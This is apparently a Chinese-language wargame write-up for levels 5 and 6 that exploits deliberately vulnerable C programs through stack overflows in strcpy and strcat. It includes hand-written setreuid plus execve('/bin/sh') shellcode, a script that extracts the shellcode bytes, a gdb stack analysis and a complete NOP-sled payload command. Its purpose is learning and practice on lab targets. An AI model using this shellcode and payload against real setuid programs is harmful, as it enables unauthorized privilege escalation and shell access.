Level 5 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #include <stdio.h> #include <string.h> int main (int argc, char **argv) { char buf[128 ]; if (argc < 2 ) return 1 ; strcpy (buf, argv[1 ]); printf ("%s\n" , buf); return 0 ; }
典型的buffer overflow,而且没有任何的保护措施,直接在栈上执行shellcode就可以了。
在拿到shell之前需要先进行setreuid提权,写出shellcode。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 # exp.S # setreuid xor %eax, %eax xor %ebx, %ebx xor %ecx, %ecx xor %edx, %edx mov $70, %al mov $1006, %bx mov $1006, %cx int $0x80 # execve /bin/sh xor %eax, %eax push %eax push $0x68732f2f push $0x6e69622f mov %esp, %ebx push %eax push %ebx mov %esp, %ecx cltd mov $0xb, %al int $0x80
随后使用gcc汇编,然后objdump得到shellcode,这里我自己写了个小脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import systext = sys.stdin.read() shellcode = '' length = 0 flag = False for line in text.strip().split('\n' ): if flag: code = line.split('\t' )[1 ].strip() code = ['\\x' +x for x in code.split(' ' )] length += len (code) shellcode += '' .join(code) if '<.text>' in line: flag = True print shellcodeprint '[+] %d bytes' % length
用这个脚本可以直接从objdump的数据中提取出可用的shellcode:
1 2 3 4 5 6 $ gcc -c exp.S -o exp.o $ objdump -d exp.o | ./extract.py \x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\x66\xbb\xee\x03\x66\xb9\xee\x03\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80 [+] 44 bytes
得到44字节的shellcode。
接着研究程序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 $ gdb level05 > disas main Dump of assembler code for function main: 0x080483b4 <+0 >: push %ebp 0x080483b5 <+1 >: mov %esp,%ebp 0x080483b7 <+3 >: sub $0 xa8,%esp 0x080483bd <+9 >: and $0 xfffffff0,%esp 0x080483c0 <+12 >: mov $0 x0,%eax 0x080483c5 <+17 >: sub %eax,%esp 0x080483c7 <+19 >: cmpl $0 x1,0x8 (%ebp) 0x080483cb <+23 >: jg 0x80483d9 <main+37 > 0x080483cd <+25 >: movl $0 x1,-0x8c (%ebp) 0x080483d7 <+35 >: jmp 0x8048413 <main+95 > 0x080483d9 <+37 >: mov 0xc (%ebp),%eax 0x080483dc <+40 >: add $0 x4,%eax 0x080483df <+43 >: mov (%eax),%eax 0x080483e1 <+45 >: mov %eax,0x4 (%esp) 0x080483e5 <+49 >: lea -0x88 (%ebp),%eax 0x080483eb <+55 >: mov %eax,(%esp) 0x080483ee <+58 >: call 0x80482d4 <strcpy@plt> 0x080483f3 <+63 >: lea -0x88 (%ebp),%eax 0x080483f9 <+69 >: mov %eax,0x4 (%esp) 0x080483fd <+73 >: movl $0 x8048524,(%esp) 0x08048404 <+80 >: call 0x80482b4 <printf@plt> 0x08048409 <+85 >: movl $0 x0,-0x8c (%ebp) 0x08048413 <+95 >: mov -0x8c (%ebp),%eax 0x08048419 <+101 >: leave 0x0804841a <+102 >: ret End of assembler dump.
看到strcpy上面给出的地址是ebp-0x88,即ebp下136个字节,这样写140个字节后可以到达main的return addr。
找一找我们缓冲区的位置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 > set args $(python -c "print '\x90'*144 ") > r > x /200 xw $esp ... 0 xbffffe00: 0x90909090 0x90909090 0x90909090 0x90909090 0 xbffffe10: 0x90909090 0x90909090 0x90909090 0x90909090 0 xbffffe20: 0x90909090 0x90909090 0x90909090 0x90909090 0 xbffffe30: 0x90909090 0x90909090 0x90909090 0x90909090 0 xbffffe40: 0x90909090 0x90909090 0x90909090 0x90909090 0 xbffffe50: 0x90909090 0x90909090 0x90909090 0x90909090 0 xbffffe60: 0x90909090 0x90909090 0x90909090 0x90909090 0 xbffffe70: 0x90909090 0x90909090 0x90909090 0x90909090 0 xbffffe80: 0x90909090 0x90909090 0x90909090 0x00909090 0 xbffffe90: 0 x4c454853 0 x622f3d4c 0 x622f6e69 0x00687361 0 xbffffea0: 0 x4d524554 0 x6574783d 0x53006d72 0 x545f4853 ...
利用NOP Sled,可以选择其中任意的位置,这里选择0xbffffe40就可以。
前面的140字节,44字节是shellcode,剩余的96字节为nop,接着写出return addr就可以了。
最终的payload就是这样
1 $ ./level05 $(python - c "print '\x90 '*96+'\x31 \xc0\x31 \xdb\x31 \xc9\x31 \xd2\xb0\x46 \x66 \xbb\xee\x03 \x66 \xb9\xee\x03 \xcd\x80 \x31 \xc0\x50 \x68 \x2f\x2f\x73 \x68 \x68 \x2f\x62 \x69 \x6e\x89 \xe3\x50 \x53 \x89 \xe1\x99 \xb0\x0b\xcd\x80 '+'\x40 \xfe\xff\xbf'" )
Level 6 程序如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 #include <stdio.h> #include <stdlib.h> #include <string.h> enum {LANG_ENGLISH, LANG_FRANCAIS, LANG_DEUTSCH, }; int language = LANG_ENGLISH;struct UserRecord { char name[40 ]; char password[32 ]; int id; }; void greetuser (struct UserRecord user) { char greeting[64 ]; switch (language){ case LANG_ENGLISH: strcpy (greeting, "Hi " ); break ; case LANG_FRANCAIS: strcpy (greeting, "Bienvenue " ); break ; case LANG_DEUTSCH: strcpy (greeting, "Willkommen " ); break ; } strcat (greeting, user.name); printf ("%s\n" , greeting); } int main (int argc, char **argv, char **env) { if (argc != 3 ) { printf ("USAGE: %s [name] [password]\n" , argv[0 ]); return 1 ; } struct UserRecord user = {0 }; strncpy (user.name, argv[1 ], sizeof (user.name)); strncpy (user.password, argv[2 ], sizeof (user.password)); char *envlang = getenv("LANG" ); if (envlang) if (!memcmp (envlang, "fr" , 2 )) language = LANG_FRANCAIS; else if (!memcmp (envlang, "de" , 2 )) language = LANG_DEUTSCH; greetuser(user); }
漏洞在strncpy时,如果name被写满的话,就没有地方存放末尾的0字符。因为name与password的存储空间是连着的,后面strncpy会把前面写的0字符覆盖,导致user.name和user.password连成了一个字符串。
这样在greetuser函数中,strcat连接就可能造成栈溢出。
用gdb得到写76 bytes到达greetuser的return addr,而name与password加起来才72 bytes,这时候利用前面的language,我们把LANG前2位设置成de,这样一开始就有11个bytes了。
shellcode与level05的类似,只是在提权时uid应该写1007,可以存放在username中或者直接存放于环境变量里,return addr指向它即可。